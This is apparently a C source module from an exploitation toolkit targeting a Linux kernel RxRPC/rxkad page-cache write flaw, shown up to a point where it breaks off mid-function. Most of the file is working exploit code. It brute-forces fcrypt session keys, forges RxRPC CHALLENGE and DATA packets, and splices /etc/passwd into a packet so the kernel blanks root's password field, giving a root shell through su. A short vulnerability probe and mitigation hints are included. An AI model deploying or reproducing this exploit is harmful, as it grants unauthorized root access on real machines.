Files
SKELETONKEY/modules/copy_fail_family/dirtyfrag_rxrpc.c
T

1070 lines
38 KiB
C

/*
* DIRTYFAIL — dirtyfrag_rxrpc.c — Dirty Frag RxRPC variant
* CVE-2026-43500
*
* BACKGROUND
* ----------
* `rxkad_verify_packet_1()` decrypts the first 8 bytes of an RxRPC
* data packet in-place via `pcbc(fcrypt)`. With `splice()` planting a
* page-cache page into the skb's frag, the in-place decrypt lands an
* 8-byte STORE on top of that page.
*
* The 8 STOREd bytes are `pcbc_decrypt(C, K)` where C is the existing
* 8 bytes at the file offset and K is an attacker-controlled 8-byte
* session key from an RxRPC v1 token registered via `add_key("rxrpc",
* ...)`. With a single block and IV = 0, pcbc reduces to a plain
* fcrypt_decrypt(C, K), which is a 56-bit-key cipher — small enough
* to brute-force in user space until the desired plaintext drops out.
*
* Unlike xfrm-ESP (CVE-2026-43284), this path needs no namespace
* privilege — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, and
* `splice` are all available to unprivileged users on a stock build
* with rxrpc.ko present (which Ubuntu ships by default).
*
* EXPLOIT TARGET
* --------------
* /etc/passwd line 1 ("root:x:0:0:..."). Three 8-byte STOREs at
* offsets 4, 6, 8 with last-write-wins reshape chars 4..15 into
* "::0:0:GGGGGG:" — empty password field for root. PAM
* `pam_unix.so nullok` then accepts a missing password, su drops
* a root shell.
*
* file off: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
* original: r o o t : x : 0 : 0 : r o o t :
* final: r o o t : : 0 : 0 : G G G G G :
*
* Splice A @ 4 (8B): bytes 4..11 = P_A want P_A[0..1] = "::"
* Splice B @ 6 (8B): bytes 6..13 = P_B want P_B[0..1] = "0:"
* Splice C @ 8 (8B): bytes 8..15 = P_C want P_C[0..1] = "0:",
* P_C[2..6] ∉ {':' '\\0' '\\n'},
* P_C[7] = ":"
*
* Chained-ciphertext correction: by the time splice B runs, the page
* at offsets 6..11 has already been overwritten by splice A. So the
* ciphertext fcrypt sees for K_B is `P_A[2..7] || original_C[6..7]`
* (the last 2 bytes of the splice region are still original passwd
* bytes 12..13). Same logic for K_C against P_B. We compute these
* actual ciphertexts before each brute force.
*
* BRUTE-FORCE COST (single core, ~18 Mops/s):
* K_A: 2 fully-fixed bytes ⇒ ~2^16 iters ⇒ ~3 ms
* K_B: 2 fully-fixed bytes ⇒ ~2^16 iters ⇒ ~3 ms
* K_C: 3 fixed + 5 weak constraints ⇒ ~2^24 iters ⇒ ~1 s
*/
#include "dirtyfrag_rxrpc.h"
#include "fcrypt.h"
#include "apparmor_bypass.h"
#include <fcntl.h>
#include <pwd.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <time.h>
#include <poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#ifdef __linux__
#include <sched.h>
#include <sys/syscall.h>
#include <linux/if.h>
#include <sys/ioctl.h>
#include <linux/keyctl.h>
#else
/* macOS analysis stubs only — real binary runs on Linux. */
#define IFNAMSIZ 16
#define IFF_UP 0x01
#define IFF_RUNNING 0x40
#define SIOCGIFFLAGS 0x8913
#define SIOCSIFFLAGS 0x8914
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define SYS_unshare 0
#define SYS_add_key 0
struct ifreq { char ifr_name[IFNAMSIZ]; short ifr_flags; };
typedef int loff_t;
__attribute__((unused))
static inline ssize_t splice (int a, loff_t *b, int c, loff_t *d,
size_t e, unsigned f) {
(void)a;(void)b;(void)c;(void)d;(void)e;(void)f; return -1; }
__attribute__((unused))
static inline ssize_t vmsplice(int a, const struct iovec *b, unsigned long c,
unsigned d) {
(void)a;(void)b;(void)c;(void)d; return -1; }
#endif
/* ---------------------------------------------------------------- *
* RxRPC / rxkad / AF_ALG fallback constants
*
* <linux/rxrpc.h> may not be present on all distros. Define what we
* need locally so DIRTYFAIL compiles on any modern Linux toolchain.
* ---------------------------------------------------------------- */
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef RXRPC_SECURITY_KEY
#define RXRPC_SECURITY_KEY 1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_USER_CALL_ID 1
#define RXRPC_SECURITY_AUTH 1
#endif
/* RxRPC packet header (28 bytes, network byte order on the wire). */
struct rxrpc_wire_hdr {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum; /* big-endian on wire */
uint16_t serviceId;
} __attribute__((packed));
#define RXRPC_PKT_DATA 1
#define RXRPC_PKT_CHALLENGE 6
#define RXRPC_LAST_PACKET 0x04
#define RXRPC_CHANNELMASK 3
#define RXRPC_CIDSHIFT 2
struct rxkad_challenge_payload {
uint32_t version;
uint32_t nonce;
uint32_t min_level;
uint32_t __padding;
} __attribute__((packed));
/* sockaddr_rxrpc is in <linux/rxrpc.h>; fallback below.
*
* IMPORTANT: the kernel's struct sockaddr_rxrpc has the transport union
* sized to include sockaddr_in6 (28 B), making the total 36 B. The
* rxrpc_bind() syscall rejects with -EINVAL if len < sizeof(struct
* sockaddr_rxrpc), so even when we only use the v4 path we MUST send
* 36 bytes — hence the in6 member below. */
struct dfr_sockaddr_rxrpc {
uint16_t srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
uint16_t family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
/* AF_ALG IV control message header. */
struct dfr_af_alg_iv {
uint32_t ivlen;
uint8_t iv[8];
} __attribute__((packed));
/* ---------------------------------------------------------------- *
* Detection (precondition probe — unchanged from earlier version)
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_rxrpc_detect(void)
{
log_step("Dirty Frag — RxRPC variant (CVE-2026-43500) — detection");
int km = -1, kn = -1;
if (kernel_version(&km, &kn))
log_hint("kernel %d.%d.x", km, kn);
bool rxrpc = kmod_loaded("rxrpc");
log_hint("rxrpc currently loaded: %s", rxrpc ? "yes" : "no");
int s = socket(AF_RXRPC, SOCK_DGRAM, 0);
bool can_open = (s >= 0);
if (can_open) close(s);
log_hint("AF_RXRPC socket: %s", can_open ? "openable" : "denied");
if (!rxrpc && !can_open) {
log_ok("rxrpc not present and AF_RXRPC socket family rejected — "
"RxRPC variant unreachable");
return DF_PRECOND_FAIL;
}
/* The RxRPC trigger needs to register an rxrpc key + open AF_RXRPC
* socket inside a userns with caps. If caps are stripped, fail out. */
if (apparmor_userns_caps_blocked()) {
log_ok("LSM-mitigated — unprivileged userns has no caps, RxRPC trigger "
"cannot register session keys or open AF_RXRPC.");
return DF_PRECOND_FAIL;
}
if (dirtyfail_active_probes) {
log_step("--active set: firing rxkad handshake-forgery trigger against /tmp sentinel");
df_result_t pr = dirtyfrag_rxrpc_active_probe();
if (pr == DF_VULNERABLE || pr == DF_OK || pr == DF_PRECOND_FAIL) return pr;
log_warn("active probe inconclusive — falling back to precondition verdict");
}
log_warn("VULNERABLE — RxRPC variant of Dirty Frag is reachable");
log_warn("apply mitigation: `dirtyfail --mitigate` (blacklists rxrpc + others)");
log_warn("or manually: blacklist rxrpc + drop_caches");
log_hint("re-run with `--scan --active` for an empirical sentinel-STORE probe");
return DF_VULNERABLE;
}
/* ================================================================ *
* Exploit (Linux-only; macOS gets a stub at the bottom).
* ================================================================ */
#ifdef __linux__
extern ssize_t splice(int fd_in, loff_t *off_in, int fd_out,
loff_t *off_out, size_t len, unsigned int flags);
extern ssize_t vmsplice(int fd, const struct iovec *iov, unsigned long nr,
unsigned int flags);
/* ---- /proc helpers --------------------------------------------------- */
static bool write_proc_str(const char *path, const char *value)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return false;
ssize_t want = (ssize_t)strlen(value);
ssize_t got = write(fd, value, want);
close(fd);
return got == want;
}
/* ---- userns / netns setup ------------------------------------------- */
__attribute__((unused))
static bool setup_userns(uid_t real_uid, gid_t real_gid)
{
if (syscall(SYS_unshare, CLONE_NEWUSER | CLONE_NEWNET) < 0) {
log_bad("unshare(USER|NET): %s", strerror(errno));
return false;
}
write_proc_str("/proc/self/setgroups", "deny");
char buf[64];
snprintf(buf, sizeof(buf), "%u %u 1", (unsigned)real_uid, (unsigned)real_uid);
if (!write_proc_str("/proc/self/uid_map", buf)) {
log_bad("uid_map: %s", strerror(errno));
return false;
}
snprintf(buf, sizeof(buf), "%u %u 1", (unsigned)real_gid, (unsigned)real_gid);
if (!write_proc_str("/proc/self/gid_map", buf)) {
log_bad("gid_map: %s", strerror(errno));
return false;
}
/* Bring lo up so loopback works inside the new netns. */
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return false;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
}
close(s);
return true;
}
/* ---- RxRPC v1 token build ------------------------------------------- *
*
* The kernel parses an RxRPC v1 token as a sequence of XDR-encoded
* fields (all big-endian uint32, strings padded to 4-byte boundaries).
*
* flags u32
* cell_name XDR string
* ntoken u32
* token[ntoken] = {
* len u32 (length of the rest of the token)
* sec_ix u32 (=2 for RXKAD)
* vice_id u32
* kvno u32
* session_key u8[8] ← THE KEY WE BRUTE-FORCED
* issued u32
* expires u32
* primary_flag u32
* ticket_len u32
* ticket u8[ticket_len]
* }
*/
static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen,
const uint8_t key[8])
{
uint8_t *p = out;
uint8_t *end = out + maxlen;
/* Helper to bounds-check before each write. */
#define NEED(n) do { if (p + (n) > end) { errno = E2BIG; return -1; } } while (0)
uint32_t now = (uint32_t)time(NULL);
uint32_t expires = now + 86400;
NEED(4); *(uint32_t *)p = htonl(0); p += 4; /* flags */
const char *cell = "evil";
uint32_t clen = (uint32_t)strlen(cell);
uint32_t pad = (4 - (clen & 3)) & 3;
NEED(4 + clen + pad);
*(uint32_t *)p = htonl(clen); p += 4;
memcpy(p, cell, clen);
memset(p + clen, 0, pad);
p += clen + pad;
NEED(4); *(uint32_t *)p = htonl(1); p += 4; /* ntoken */
uint8_t *toklen_slot = p;
NEED(4); p += 4; /* will fill below */
uint8_t *tokstart = p;
NEED(4); *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */
NEED(4); *(uint32_t *)p = htonl(0); p += 4; /* vice_id */
NEED(4); *(uint32_t *)p = htonl(1); p += 4; /* kvno */
NEED(8); memcpy(p, key, 8); p += 8; /* session_key */
NEED(4); *(uint32_t *)p = htonl(now); p += 4; /* issued */
NEED(4); *(uint32_t *)p = htonl(expires); p += 4; /* expires */
NEED(4); *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */
NEED(4); *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */
NEED(8); memset(p, 0xCC, 8); p += 8; /* ticket (any bytes) */
*(uint32_t *)toklen_slot = htonl((uint32_t)(p - tokstart));
return (int)(p - out);
#undef NEED
}
static long add_rxrpc_key(const char *desc, const uint8_t key[8])
{
uint8_t buf[256];
int n = build_rxrpc_v1_token(buf, sizeof(buf), key);
if (n < 0) return -1;
return syscall(SYS_add_key, "rxrpc", desc, buf, (size_t)n,
KEY_SPEC_PROCESS_KEYRING);
}
/* ---- AF_ALG pcbc(fcrypt) helpers ------------------------------------ *
*
* Used to compute the rxkad packet checksum. The kernel does:
*
* csum_iv = high 8 bytes of PCBC-encrypt({epoch, cid, 0, sec_ix},
* IV = session_key)
* cksum_h = (PCBC-encrypt({call_id, x}, IV = csum_iv)[1] >> 16) | 1
* where x = (cid_low2 << 30) | (seq & 0x3fffffff)
*
* We could roll this in user space using fcrypt directly (no AF_ALG),
* but using AF_ALG is simpler and exactly matches what the kernel does
* — useful for catching protocol drift across kernel versions.
*/
static int alg_open_pcbc_fcrypt(const uint8_t key[8])
{
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (s < 0) return -1;
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
strncpy((char *)sa.salg_type, "skcipher", sizeof(sa.salg_type) - 1);
strncpy((char *)sa.salg_name, "pcbc(fcrypt)", sizeof(sa.salg_name) - 1);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) {
close(s); return -1;
}
return s;
}
static int alg_pcbc_run(int alg_s, int op, const uint8_t iv[8],
const void *in, size_t inlen, void *out)
{
int op_fd = accept(alg_s, NULL, NULL);
if (op_fd < 0) return -1;
char cbuf[CMSG_SPACE(sizeof(int))
+ CMSG_SPACE(sizeof(struct dfr_af_alg_iv))] = {0};
struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) };
struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_OP;
c->cmsg_len = CMSG_LEN(sizeof(int));
*(int *)CMSG_DATA(c) = op;
c = CMSG_NXTHDR(&msg, c);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_IV;
c->cmsg_len = CMSG_LEN(sizeof(struct dfr_af_alg_iv));
struct dfr_af_alg_iv *aiv = (struct dfr_af_alg_iv *)CMSG_DATA(c);
aiv->ivlen = 8;
memcpy(aiv->iv, iv, 8);
struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
if (sendmsg(op_fd, &msg, 0) < 0) { close(op_fd); return -1; }
ssize_t n = read(op_fd, out, inlen);
close(op_fd);
return n == (ssize_t)inlen ? 0 : -1;
}
static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix,
const uint8_t key[8], uint8_t out[8])
{
int s = alg_open_pcbc_fcrypt(key);
if (s < 0) return -1;
uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) };
uint8_t enc[16];
int rc = alg_pcbc_run(s, ALG_OP_ENCRYPT, key, in, 16, enc);
close(s);
if (rc < 0) return -1;
memcpy(out, enc + 8, 8);
return 0;
}
static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq,
const uint8_t key[8], const uint8_t csum_iv[8],
uint16_t *out_h)
{
int s = alg_open_pcbc_fcrypt(key);
if (s < 0) return -1;
uint32_t x = ((cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT))
| (seq & 0x3fffffff);
uint32_t in[2] = { htonl(call_id), htonl(x) };
uint32_t enc[2];
int rc = alg_pcbc_run(s, ALG_OP_ENCRYPT, csum_iv, in, 8, enc);
close(s);
if (rc < 0) return -1;
uint16_t v = (uint16_t)((ntohl(enc[1]) >> 16) & 0xffff);
if (v == 0) v = 1;
*out_h = v;
return 0;
}
/* ---- AF_RXRPC client ------------------------------------------------- */
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) {
log_bad("socket(AF_RXRPC): %s", strerror(errno));
return -1;
}
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0) {
log_bad("setsockopt RXRPC_SECURITY_KEY: %s", strerror(errno));
close(fd); return -1;
}
int level = RXRPC_SECURITY_AUTH;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&level, sizeof(level)) < 0) {
log_bad("setsockopt RXRPC_MIN_SECURITY_LEVEL: %s", strerror(errno));
close(fd); return -1;
}
struct dfr_sockaddr_rxrpc srx;
memset(&srx, 0, sizeof(srx));
srx.srx_family = AF_RXRPC;
srx.srx_service = 0;
srx.transport_type= SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(local_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7f000001);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
log_bad("bind AF_RXRPC :%u: %s", local_port, strerror(errno));
close(fd); return -1;
}
return fd;
}
static int rxrpc_initiate_call(int fd, uint16_t srv_port,
uint16_t svc_id, unsigned long user_call_id)
{
/* Wire payload — fixed 8 bytes, not C-string semantics. */
char data[8] = { 'P','I','N','G','P','I','N','G' };
struct dfr_sockaddr_rxrpc srx;
memset(&srx, 0, sizeof(srx));
srx.srx_family = AF_RXRPC;
srx.srx_service = svc_id;
srx.transport_type= SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(srv_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7f000001);
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
struct msghdr msg = { .msg_name = &srx, .msg_namelen = sizeof(srx) };
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf);
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
cm->cmsg_level = SOL_RXRPC;
cm->cmsg_type = RXRPC_USER_CALL_ID;
cm->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cm) = user_call_id;
int fl = fcntl(fd, F_GETFL);
fcntl(fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(fd, &msg, 0);
fcntl(fd, F_SETFL, fl);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) return -1;
return 0;
}
/* ---- UDP fake-server ------------------------------------------------ */
static int setup_udp_server(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = htonl(0x7f000001),
};
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
return s;
}
static ssize_t udp_recv_to(int s, void *buf, size_t cap,
struct sockaddr_in *from, int timeout_ms)
{
struct pollfd pfd = { .fd = s, .events = POLLIN };
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
socklen_t fl = from ? sizeof(*from) : 0;
return recvfrom(s, buf, cap, 0,
(struct sockaddr *)from, from ? &fl : NULL);
}
/* ---- one trigger ---------------------------------------------------- *
*
* Run exactly one 8-byte STORE at file offset `splice_off` of `target_fd`,
* using the rxkad session key `key`. Sequence:
*
* 1. add_key("rxrpc", "evil<n>", v1_token{session_key=key})
* 2. udp_srv = bind 127.0.0.1:port_S
* 3. rxsk_cli = AF_RXRPC + SECURITY_KEY=evil<n> + bind :port_C
* 4. rxsk_cli sendmsg → triggers handshake → udp_srv receives first packet
* 5. extract (epoch, cid, callN) from that packet
* 6. udp_srv sends forged CHALLENGE → rxsk_cli auto-RESPONSE
* 7. compute csum_iv, cksum with `key`
* 8. build malicious DATA wire header
* 9. pipe(); vmsplice(hdr); splice(target@splice_off, 8B); splice(pipe → udp_srv)
* 10. recvmsg(rxsk_cli) drives kernel through verify_packet → in-place STORE
*/
static int g_trigger_seq = 0;
static bool do_one_trigger(int target_fd, off_t splice_off,
const uint8_t key[8])
{
char keyname[32];
snprintf(keyname, sizeof(keyname), "df-evil%d", g_trigger_seq++);
long key_id = add_rxrpc_key(keyname, key);
if (key_id < 0) {
log_bad("add_rxrpc_key: %s", strerror(errno));
return false;
}
/* Use varying ports so kernel TIME_WAIT / stale state doesn't bite. */
uint16_t port_S = (uint16_t)(7777 + (g_trigger_seq * 2 % 200));
uint16_t port_C = (uint16_t)(port_S + 1);
uint16_t svc_id = 1234;
int udp_srv = setup_udp_server(port_S);
if (udp_srv < 0) { log_bad("udp server"); return false; }
int rxsk = setup_rxrpc_client(port_C, keyname);
if (rxsk < 0) { log_bad("rxrpc client"); close(udp_srv); return false; }
if (rxrpc_initiate_call(rxsk, port_S, svc_id, 0xDEAD) < 0) {
log_bad("initiate call");
close(rxsk); close(udp_srv); return false;
}
/* Receive first packet from rxsk_cli — this is the kernel's
* implicit DATA-0 (handshake init). It carries epoch + cid. */
uint8_t pkt[2048];
struct sockaddr_in cli_addr;
ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500);
if (n < (ssize_t)sizeof(struct rxrpc_wire_hdr)) {
log_bad("no handshake packet (n=%zd)", n);
close(rxsk); close(udp_srv); return false;
}
struct rxrpc_wire_hdr *whdr = (struct rxrpc_wire_hdr *)pkt;
uint32_t epoch = ntohl(whdr->epoch);
uint32_t cid = ntohl(whdr->cid);
uint32_t callN = ntohl(whdr->callNumber);
uint16_t svc_in = ntohs(whdr->serviceId);
uint16_t cliport= ntohs(cli_addr.sin_port);
/* Send forged CHALLENGE so the client emits RESPONSE and primes
* conn->rxkad.cipher with our session key. */
{
struct {
struct rxrpc_wire_hdr hdr;
struct rxkad_challenge_payload ch;
} __attribute__((packed)) c;
memset(&c, 0, sizeof(c));
c.hdr.epoch = htonl(epoch);
c.hdr.cid = htonl(cid);
c.hdr.serial = htonl(0x10000);
c.hdr.type = RXRPC_PKT_CHALLENGE;
c.hdr.securityIndex = 2;
c.hdr.serviceId = htons(svc_in);
c.ch.version = htonl(2);
c.ch.nonce = htonl(0xdeadbeefu);
c.ch.min_level = htonl(1);
struct sockaddr_in to = {
.sin_family = AF_INET,
.sin_port = htons(cliport),
.sin_addr.s_addr = htonl(0x7f000001),
};
if (sendto(udp_srv, &c, sizeof(c), 0,
(struct sockaddr *)&to, sizeof(to)) < 0) {
log_bad("send CHALLENGE: %s", strerror(errno));
close(rxsk); close(udp_srv); return false;
}
}
/* Drain whatever RESPONSE / further packets the client emits. */
for (int i = 0; i < 4; i++) {
struct sockaddr_in src;
if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
}
/* Compute csum_iv + wire cksum with our session key. */
uint8_t csum_iv[8];
if (compute_csum_iv(epoch, cid, 2, key, csum_iv) < 0) {
log_bad("compute_csum_iv");
close(rxsk); close(udp_srv); return false;
}
uint16_t cksum_h = 0;
if (compute_cksum(cid, callN, 1, key, csum_iv, &cksum_h) < 0) {
log_bad("compute_cksum");
close(rxsk); close(udp_srv); return false;
}
/* Build malicious DATA wire header. */
struct rxrpc_wire_hdr mal;
memset(&mal, 0, sizeof(mal));
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC_PKT_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = 2;
mal.cksum = htons(cksum_h);
mal.serviceId = htons(svc_in);
/* connect udp_srv → client port so we can splice. */
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_port = htons(cliport),
.sin_addr.s_addr = htonl(0x7f000001),
};
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
log_bad("connect udp_srv: %s", strerror(errno));
close(rxsk); close(udp_srv); return false;
}
/* The actual splice trigger: pipe < hdr ; pipe < file@off,8 ; udp < pipe */
int p[2];
if (pipe(p) < 0) { close(rxsk); close(udp_srv); return false; }
{
struct iovec v = { .iov_base = &mal, .iov_len = sizeof(mal) };
if (vmsplice(p[1], &v, 1, 0) != (ssize_t)sizeof(mal)) {
log_bad("vmsplice: %s", strerror(errno));
close(p[0]); close(p[1]);
close(rxsk); close(udp_srv); return false;
}
}
{
loff_t off = splice_off;
if (splice(target_fd, &off, p[1], NULL, 8, 0) != 8) {
log_bad("splice file->pipe: %s", strerror(errno));
close(p[0]); close(p[1]);
close(rxsk); close(udp_srv); return false;
}
}
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + 8, 0)
!= (ssize_t)(sizeof(mal) + 8)) {
log_bad("splice pipe->udp: %s", strerror(errno));
close(p[0]); close(p[1]);
close(rxsk); close(udp_srv); return false;
}
close(p[0]); close(p[1]);
/* recvmsg drives the kernel through verify_packet and fires the
* in-place STORE. We don't care about the actual data. */
int fl = fcntl(rxsk, F_GETFL);
fcntl(rxsk, F_SETFL, fl | O_NONBLOCK);
char rb[2048];
struct dfr_sockaddr_rxrpc rsrx;
char ccb[256];
for (int round = 0; round < 5; round++) {
struct msghdr m = { .msg_name = &rsrx, .msg_namelen = sizeof(rsrx) };
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
m.msg_iov = &iv; m.msg_iovlen = 1;
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
ssize_t r = recvmsg(rxsk, &m, 0);
if (r > 0) break;
if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000);
else break;
}
fcntl(rxsk, F_SETFL, fl);
close(rxsk);
close(udp_srv);
return true;
}
/* ---- predicates ----------------------------------------------------- */
static bool predicate_pa_nullok(const uint8_t P[8])
{
/* Want chars 4..5 of /etc/passwd to become "::" — empty pwd field. */
return P[0] == ':' && P[1] == ':';
}
static bool predicate_pb_nullok(const uint8_t P[8])
{
/* Want chars 6..7 = "0:" (uid=0 with separator). */
return P[0] == '0' && P[1] == ':';
}
static bool predicate_pc_nullok(const uint8_t P[8])
{
/* Want chars 8..15 = "0:GGGGG:". G ∉ {':' '\0' '\n'}. */
if (P[0] != '0' || P[1] != ':' || P[7] != ':') return false;
for (int i = 2; i < 7; i++)
if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return false;
return true;
}
/* ---- main exploit --------------------------------------------------- */
#define MAX_BRUTE_ITERS_AB (1ULL << 24) /* ~3 ms expected hit, headroom */
#define MAX_BRUTE_ITERS_C (1ULL << 30) /* ~1 s expected hit, more headroom */
df_result_t dirtyfrag_rxrpc_exploit(bool do_shell)
{
log_step("Dirty Frag (RxRPC) — exploit");
if (real_uid_for_target() == 0) {
log_warn("already root in init namespace — nothing to escalate");
return DF_OK;
}
/* Initialize fcrypt and verify the cipher works. */
fcrypt_init();
if (!fcrypt_selftest()) {
log_bad("fcrypt selftest FAILED — wrong S-boxes or key schedule");
return DF_TEST_ERROR;
}
log_ok("fcrypt selftest OK");
/* The RxRPC variant targets line 1 of /etc/passwd unconditionally
* (it makes root's password empty for PAM nullok). We need the
* 16 bytes at offsets 4..15 of that file to do the brute force. */
int pfd = open("/etc/passwd", O_RDONLY);
if (pfd < 0) { log_bad("open /etc/passwd: %s", strerror(errno)); return DF_TEST_ERROR; }
/* Read the page and the original ciphertexts at offsets 4, 6, 8. */
uint8_t Cline[16];
if (pread(pfd, Cline, 16, 0) != 16) {
log_bad("pread /etc/passwd: %s", strerror(errno));
close(pfd); return DF_TEST_ERROR;
}
log_step("/etc/passwd[0..15] = '%.16s'", (char *)Cline);
uint8_t Ca[8], Cb[8], Cc[8];
memcpy(Ca, Cline + 4, 8);
memcpy(Cb, Cline + 6, 8);
memcpy(Cc, Cline + 8, 8);
log_warn("about to:");
log_warn(" 1. brute-force three rxkad session keys (~1 second total)");
log_warn(" 2. enter a fresh user/net namespace");
log_warn(" 3. fire 3 splice triggers against /etc/passwd page cache");
log_warn(" 4. PAM `pam_unix nullok` will accept empty password for root");
log_warn("cleanup: dirtyfail --cleanup, or `echo 3 > /proc/sys/vm/drop_caches`");
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined — aborting");
close(pfd); return DF_OK;
}
/* === Brute force K_A ============================================= */
uint8_t Ka[8], Pa[8];
if (!fcrypt_brute_force(Ca, predicate_pa_nullok, MAX_BRUTE_ITERS_AB,
(uint64_t)time(NULL) ^ 0xA1ULL,
"K_A (chars 4..5 = \"::\")", Ka, Pa)) {
log_bad("K_A brute force exhausted");
close(pfd); return DF_EXPLOIT_FAIL;
}
/* === Chained-ciphertext correction for K_B ====================== *
*
* After splice A overwrites bytes 4..11 with P_A, splice B at offset 6
* (length 8) sees: bytes 6..11 = P_A[2..7], bytes 12..13 = original.
*/
uint8_t Cb_actual[8];
memcpy(Cb_actual, Pa + 2, 6);
memcpy(Cb_actual + 6, Cb + 6, 2);
/* === Brute force K_B ============================================= */
uint8_t Kb[8], Pb[8];
if (!fcrypt_brute_force(Cb_actual, predicate_pb_nullok, MAX_BRUTE_ITERS_AB,
(uint64_t)time(NULL) ^ 0xB2ULL,
"K_B (chars 6..7 = \"0:\")", Kb, Pb)) {
log_bad("K_B brute force exhausted");
close(pfd); return DF_EXPLOIT_FAIL;
}
/* === Chained-ciphertext correction for K_C ====================== */
uint8_t Cc_actual[8];
memcpy(Cc_actual, Pb + 2, 6);
memcpy(Cc_actual + 6, Cc + 6, 2);
/* === Brute force K_C ============================================= */
uint8_t Kc[8], Pc[8];
if (!fcrypt_brute_force(Cc_actual, predicate_pc_nullok, MAX_BRUTE_ITERS_C,
(uint64_t)time(NULL) ^ 0xC3ULL,
"K_C (chars 8..15 = \"0:GGGGG:\")", Kc, Pc)) {
log_bad("K_C brute force exhausted");
close(pfd); return DF_EXPLOIT_FAIL;
}
close(pfd);
log_ok("all three keys found; handing off to bypass child for triggers");
/* Pass the three K's to the inner via hex-encoded env vars. The
* inner runs in the AA bypass userns (where add_key + AF_RXRPC
* have CAP_NET_ADMIN); we (parent, init ns) stay here so the
* eventual `su -` reaches REAL init-ns root via PAM nullok. */
char hex[8 * 2 + 1];
#define HEXSET(name, k) do { \
for (int i = 0; i < 8; i++) snprintf(hex + i*2, 3, "%02x", k[i]); \
setenv(name, hex, 1); \
} while (0)
HEXSET("DIRTYFAIL_K_A", Ka);
